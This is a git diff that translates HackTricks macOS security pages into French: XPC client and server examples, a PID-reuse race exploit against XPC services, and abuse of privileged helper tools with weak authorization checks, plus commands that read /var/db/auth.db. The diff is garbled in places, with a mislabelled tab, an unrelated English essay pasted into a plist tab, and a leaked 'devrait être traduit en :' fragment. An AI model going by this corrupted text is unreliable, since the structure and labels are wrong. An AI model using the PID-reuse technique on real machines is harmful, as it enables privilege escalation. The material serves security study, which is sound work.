argv[]) { + xpc_connection_t connection = xpc_connection_create_mach_service("com.example.demo", NULL, 0); + xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { + handler(object); + xpc_release(object); + }); + xpc_connection_resume(connection); + + xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0); + xpc_dictionary_set_string(message, "command", "hello"); + xpc_connection_send_message(connection, message); + + dispatch_main(); + return 0; +} +``` + +Dans cet exemple, nous créons une connexion XPC avec le démon `com.example.demo`. Nous configurons la connexion pour appeler la fonction de rappel `handler()` lorsque des messages sont reçus. Nous envoyons ensuite un message XPC au démon en spécifiant la commande `hello`. La réponse du démon est affichée dans la fonction de rappel `handler()`. ```c // gcc xpc_client.c -o xpc_client @@ -876,6 +981,12 @@ int main(int argc, const char *argv[]) { {% endtab %} {% tab title="xyz.hacktricks.service.plist" %} + +Le fichier `xyz.hacktricks.service.plist` est un fichier de configuration de service qui peut être utilisé pour lancer un service personnalisé sur macOS. Il est généralement placé dans `/Library/LaunchDaemons/` ou `/Library/LaunchAgents/` et est lu par le démon `launchd` lors du démarrage du système ou lorsqu'un utilisateur se connecte. + +Le fichier plist contient des informations sur le service, telles que son nom, son chemin d'accès, ses arguments de ligne de commande, son utilisateur et son groupe, ainsi que des informations sur la façon dont le service doit être géré par `launchd`. + +Pour créer un service personnalisé, vous pouvez créer un fichier plist avec les informations nécessaires, le placer dans le répertoire approprié et charger le service avec la commande `launchctl load`. ```xml @@ -898,7 +1009,6 @@ int main(int argc, const char *argv[]) { ``` {% endtab %} {% endtabs %} - ```bash # Compile the server & client gcc xpc_server.c -o xpc_server @@ -918,8 +1028,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server ``` - -### ObjectiveC Code Example +### Exemple de code ObjectiveC {% tabs %} {% tab title="oc_xpc_server.m" %} @@ -974,7 +1083,7 @@ int main(void) { ``` {% endtab %} -{% tab title="oc_xpc_client.m" %} +{% tab title="oc_xpc_server.m" %} ```objectivec // gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client #include @@ -999,7 +1108,66 @@ int main(void) { ``` {% endtab %} -{% tab title="Untitled" %} +{% tab title="macOS IPC (Inter-Process Communication)" %} +# macOS IPC (Inter-Process Communication) + +## Introduction + +Inter-Process Communication (IPC) is a mechanism that allows processes to communicate with each other and synchronize their actions. macOS provides several IPC mechanisms that can be used by processes to communicate with each other. In this section, we will discuss some of the most commonly used IPC mechanisms in macOS. + +## Mach Ports + +Mach ports are a type of IPC mechanism that is used by macOS to implement inter-process communication. Mach ports are endpoints that can be used by processes to send and receive messages. Each Mach port has a unique identifier that is used to identify the port. Processes can create Mach ports and use them to communicate with other processes. + +Mach ports can be used for various purposes, such as: + +- Sending messages between processes +- Sharing memory between processes +- Synchronizing actions between processes + +Mach ports can be created using the `mach_port_allocate()` function. Once a Mach port is created, it can be used to send and receive messages using the `mach_msg()` function. + +## XPC + +XPC is a high-level IPC mechanism that is used by macOS to implement inter-process communication. XPC provides a simple and secure way for processes to communicate with each other. XPC is based on a client-server model, where the client sends requests to the server and the server responds to the requests. + +XPC provides several benefits over other IPC mechanisms, such as: + +- Automatic serialization and deserialization of messages +- Automatic memory management +- Automatic error handling +- Sandboxing support + +XPC can be used for various purposes, such as: + +- Launching and managing daemons +- Sharing data between processes +- Synchronizing actions between processes + +XPC can be used in both Objective-C and Swift applications. XPC APIs are available in the `xpc` framework. + +## Distributed Objects + +Distributed Objects is an IPC mechanism that is used by macOS to implement inter-process communication. Distributed Objects allows objects to be shared between processes. Distributed Objects is based on the Remote Procedure Call (RPC) model, where a client sends a message to a server and the server responds to the message. + +Distributed Objects provides several benefits over other IPC mechanisms, such as: + +- Automatic serialization and deserialization of messages +- Automatic memory management +- Support for distributed garbage collection +- Support for distributed notifications + +Distributed Objects can be used for various purposes, such as: + +- Sharing objects between processes +- Synchronizing actions between processes +- Implementing distributed applications + +Distributed Objects can be used in both Objective-C and Swift applications. Distributed Objects APIs are available in the `Foundation` framework. + +## Conclusion + +In this section, we discussed some of the most commonly used IPC mechanisms in macOS. Mach ports, XPC, and Distributed Objects are all powerful IPC mechanisms that can be used by processes to communicate with each other and synchronize their actions. When choosing an IPC mechanism, it is important to consider the specific requirements of the application and choose the mechanism that best meets those requirements. ```xml @@ -1021,8 +1189,12 @@ int main(void) { ``` {% endtab %} -{% endtabs %} +{% endtabs %} +devrait être traduit en : + +{% endtab %} +{% endtabs %} ```bash # Compile the server & client gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server @@ -1042,8 +1214,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server ``` - -## References +## Références * [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) @@ -1051,10 +1222,10 @@ sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md index f8bd4db19..e9adfbe81 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md @@ -1,45 +1,43 @@ -# macOS PID Reuse +## Réutilisation de PID macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## PID Reuse +## Réutilisation de PID -When a macOS **XPC service** is checking the called process based on the **PID** and not on the **audit token**, it's vulnerable to PID reuse attack. This attack is based on a **race condition** where an **exploit** is going to **send messages to the XPC** service **abusing** the functionality and just **after** that, executing **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** with the **allowed** binary. +Lorsqu'un service **XPC macOS** vérifie le processus appelé en fonction du **PID** et non du **jeton d'audit**, il est vulnérable à une attaque de réutilisation de PID. Cette attaque est basée sur une **condition de course** où une **exploitation** va **envoyer des messages à XPC** en **abusant** de la fonctionnalité et juste **après**, exécuter **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** avec le binaire **autorisé**. -This function will make the **allowed binary own the PID** but the **malicious XPC message would have been sent** just before. So, if the **XPC** service **use** the **PID** to **authenticate** the sender and checks it **AFTER** the execution of **`posix_spawn`**, it will think it comes from an **authorized** process. +Cette fonction fera en sorte que le binaire **autorisé possède le PID** mais le **message XPC malveillant aura été envoyé** juste avant. Ainsi, si le service **XPC utilise le PID** pour **authentifier** l'expéditeur et le vérifie **APRÈS** l'exécution de **`posix_spawn`**, il pensera que cela vient d'un processus **autorisé**. -### Exploit example +### Exemple d'exploit -If you find the function **`shouldAcceptNewConnection`** or a function called by it **calling** **`processIdentifier`** and not calling **`auditToken`**. It highly probable means that it's v**erifying the process PID** and not the audit token.\ -Like for example in this image (taken from the reference): +Si vous trouvez la fonction **`shouldAcceptNewConnection`** ou une fonction appelée par celle-ci **appelant** **`processIdentifier`** et ne faisant pas appel à **`auditToken`**. Il est très probable qu'elle vérifie le PID du processus et non le jeton d'audit.\ +Comme par exemple dans cette image (prise de la référence) :
-Check this example exploit (again, taken from the reference) to see the 2 parts of the exploit: +Vérifiez cet exemple d'exploit (encore une fois, pris de la référence) pour voir les 2 parties de l'exploit : -* One that **generates several forks** -* **Each fork** will **send** the **payload** to the XPC service while executing **`posix_spawn`** just after sending the message. +* Une qui **génère plusieurs forks** +* **Chaque fork** enverra la **charge utile** au service XPC tout en exécutant **`posix_spawn`** juste après l'envoi du message. {% hint style="danger" %} -For the exploit to work it's important to export export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES or to put in th exploit: - +Pour que l'exploit fonctionne, il est important d'exporter export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ou de le mettre dans l'exploit : ```objectivec asm(".section __DATA,__objc_fork_ok\n" "empty:\n" ".no_dead_strip empty\n"); ``` {% endhint %} - ```objectivec // from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ @@ -144,8 +142,7 @@ int main(int argc, const char * argv[]) { return 0; }obj ``` - -## Refereces +## Références * [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/) * [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf) @@ -154,10 +151,10 @@ int main(int argc, const char * argv[]) { ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md index 69f00424c..57d99a15d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md @@ -1,27 +1,12 @@ -# macOS XPC Authorization +## Autorisation XPC -
+Apple propose également une autre façon d'authentifier si le processus de connexion a les **permissions pour appeler une méthode XPC exposée**. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Lorsqu'une application a besoin d'**exécuter des actions en tant qu'utilisateur privilégié**, au lieu d'exécuter l'application en tant qu'utilisateur privilégié, elle installe généralement en tant que root un HelperTool en tant que service XPC qui peut être appelé depuis l'application pour effectuer ces actions. Cependant, l'application appelant le service doit avoir suffisamment d'autorisations. -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
- -## XPC Authorization - -Apple also proposes another way to authenticate if the connecting process has **permissions to call the an exposed XPC method**. - -When an application needs to **execute actions as a privileged user**, instead of running the app as a privileged user it usually installs as root a HelperTool as an XPC service that could be called from the app to perform those actions. However, the app calling the service should have enough authorization. - -### ShuoldAcceptNewConnection always YES - -An example could be found in [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). In `App/AppDelegate.m` it tries to **connect** to the **HelperTool**. And in `HelperTool/HelperTool.m` the function **`shouldAcceptNewConnection`** **won't check** any of the requirements indicated previously. It'll always return YES: +### ShuoldAcceptNewConnection toujours YES +Un exemple peut être trouvé dans [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Dans `App/AppDelegate.m`, il essaie de **se connecter** au **HelperTool**. Et dans `HelperTool/HelperTool.m`, la fonction **`shouldAcceptNewConnection`** **ne vérifiera pas** les exigences indiquées précédemment. Elle renverra toujours YES: ```objectivec - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection // Called by our XPC listener when a new connection comes in. We configure the connection @@ -38,20 +23,18 @@ An example could be found in [EvenBetterAuthorizationSample](https://github.com/ return YES; } ``` - -For more information about how to properly configure this check: +Pour plus d'informations sur la façon de configurer correctement cette vérification : {% content-ref url="macos-xpc-connecting-process-check.md" %} [macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md) {% endcontent-ref %} -### Application rights +### Droits d'application -However, there is some **authorization going on when a method from the HelperTool is called**. - -The function **`applicationDidFinishLaunching`** from `App/AppDelegate.m` will create an empty authorization reference after the app has started. This should always work.\ -Then, it will try to **add some rights** to that authorization reference calling `setupAuthorizationRights`: +Cependant, il y a une certaine **autorisation en cours lorsqu'une méthode du HelperTool est appelée**. +La fonction **`applicationDidFinishLaunching`** de `App/AppDelegate.m` créera une référence d'autorisation vide après le démarrage de l'application. Cela devrait toujours fonctionner.\ +Ensuite, il essaiera d'**ajouter certains droits** à cette référence d'autorisation en appelant `setupAuthorizationRights`: ```objectivec - (void)applicationDidFinishLaunching:(NSNotification *)note { @@ -75,9 +58,7 @@ Then, it will try to **add some rights** to that authorization reference calling [self.window makeKeyAndOrderFront:self]; } ``` - -The function `setupAuthorizationRights` from `Common/Common.m` will store in the auth database `/var/db/auth.db` the rights of the application. Note how it will only add the rights that aren't yet in the database: - +La fonction `setupAuthorizationRights` de `Common/Common.m` stockera dans la base de données d'autorisation `/var/db/auth.db` les droits de l'application. Notez comment elle n'ajoutera que les droits qui ne sont pas encore dans la base de données : ```objectivec + (void)setupAuthorizationRights:(AuthorizationRef)authRef // See comment in header. @@ -109,9 +90,7 @@ The function `setupAuthorizationRights` from `Common/Common.m` will store in the }]; } ``` - -The function `enumerateRightsUsingBlock` is the one used to get applications permissions, which are defined in `commandInfo`: - +La fonction `enumerateRightsUsingBlock` est celle utilisée pour obtenir les autorisations des applications, qui sont définies dans `commandInfo`: ```objectivec static NSString * kCommandKeyAuthRightName = @"authRightName"; static NSString * kCommandKeyAuthRightDefault = @"authRightDefault"; @@ -189,17 +168,15 @@ static NSString * kCommandKeyAuthRightDesc = @"authRightDescription"; }]; } ``` +Cela signifie qu'à la fin de ce processus, les autorisations déclarées dans `commandInfo` seront stockées dans `/var/db/auth.db`. Notez comment vous pouvez trouver pour **chaque méthode** qui nécessitera une **authentification**, le **nom de la permission** et le **`kCommandKeyAuthRightDefault`**. Ce dernier **indique qui peut obtenir ce droit**. -This means that at the end of this process, the permissions declared inside `commandInfo` will be stored in `/var/db/auth.db`. Note how there you can find for **each method** that will r**equire authentication**, **permission name** and the **`kCommandKeyAuthRightDefault`**. The later one **indicates who can get this right**. +Il existe différents domaines pour indiquer qui peut accéder à un droit. Certains d'entre eux sont définis dans [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (vous pouvez trouver [tous ici](https://www.dssw.co.uk/reference/authorization-rights/)), mais en résumé : -There are different scopes to indicate who can access a right. Some of them are defined in [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (you can find [all of them in here](https://www.dssw.co.uk/reference/authorization-rights/)), but as summary: +
NomValeurDescription
kAuthorizationRuleClassAllowallowN'importe qui
kAuthorizationRuleClassDenydenyPersonne
kAuthorizationRuleIsAdminis-adminL'utilisateur actuel doit être un administrateur (dans le groupe admin)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-ownerDemandez à l'utilisateur de s'authentifier.
kAuthorizationRuleAuthenticateAsAdminauthenticate-adminDemandez à l'utilisateur de s'authentifier. Il doit être un administrateur (dans le groupe admin)
kAuthorizationRightRuleruleSpécifiez des règles
kAuthorizationCommentcommentSpécifiez des commentaires supplémentaires sur le droit
-
NameValueDescription
kAuthorizationRuleClassAllowallowAnyone
kAuthorizationRuleClassDenydenyNobody
kAuthorizationRuleIsAdminis-adminCurrent user needs to be an admin (inside admin group)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-ownerAsk user to authenticate.
kAuthorizationRuleAuthenticateAsAdminauthenticate-adminAsk user to authenticate. He needs to be an admin (inside admin group)
kAuthorizationRightRuleruleSpecify rules
kAuthorizationCommentcommentSpecify some extra comments on the right
- -### Rights Verification - -In `HelperTool/HelperTool.m` the function **`readLicenseKeyAuthorization`** checks if the caller is authorized to **execute such method** calling the function **`checkAuthorization`**. This function will check the **authData** sent by the calling process has a **correct format** and then will check **what is needed to get the right** to call the specific method. If all goes good the **returned `error` will be `nil`**: +### Vérification des droits +Dans `HelperTool/HelperTool.m`, la fonction **`readLicenseKeyAuthorization`** vérifie si l'appelant est autorisé à **exécuter une telle méthode** en appelant la fonction **`checkAuthorization`**. Cette fonction vérifiera si les **authData** envoyées par le processus appelant ont un **format correct** et vérifiera ensuite **ce qui est nécessaire pour obtenir le droit** d'appeler la méthode spécifique. Si tout se passe bien, l'**erreur renvoyée sera `nil`** : ```objectivec - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command { @@ -247,35 +224,30 @@ In `HelperTool/HelperTool.m` the function **`readLicenseKeyAuthorization`** chec return error; } ``` +Notez que pour **vérifier les exigences pour obtenir le droit** d'appeler cette méthode, la fonction `authorizationRightForCommand` vérifiera simplement l'objet précédemment commenté **`commandInfo`**. Ensuite, elle appellera **`AuthorizationCopyRights`** pour vérifier **si elle a les droits** pour appeler la fonction (notez que les indicateurs permettent une interaction avec l'utilisateur). -Note that to **check the requirements to get the right** to call that method the function `authorizationRightForCommand` will just check the previously comment object **`commandInfo`**. Then, it will call **`AuthorizationCopyRights`** to check **if it has the rights** to call the function (note that the flags allow interaction with the user). +Dans ce cas, pour appeler la fonction `readLicenseKeyAuthorization`, le `kCommandKeyAuthRightDefault` est défini à `@kAuthorizationRuleClassAllow`. Ainsi, **n'importe qui peut l'appeler**. -In this case, to call the function `readLicenseKeyAuthorization` the `kCommandKeyAuthRightDefault` is defined to `@kAuthorizationRuleClassAllow`. So **anyone can call it**. - -### DB Information - -It was mentioned that this information is stored in `/var/db/auth.db`. You can list all the stored rules with: +### Informations de la base de données +Il a été mentionné que ces informations sont stockées dans `/var/db/auth.db`. Vous pouvez lister toutes les règles stockées avec: ```sql sudo sqlite3 /var/db/auth.db SELECT name FROM rules; SELECT name FROM rules WHERE name LIKE '%safari%'; ``` - -Then, you can read who can access the right with: - +Ensuite, vous pouvez lire qui peut accéder au droit avec: ```bash security authorizationdb read com.apple.safaridriver.allow ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-connecting-process-check.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-connecting-process-check.md index 3120ebfc0..d1d7d5233 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-connecting-process-check.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-connecting-process-check.md @@ -1,43 +1,41 @@ -# macOS XPC Connecting Process Check +# Vérification de la connexion de processus XPC sur macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** 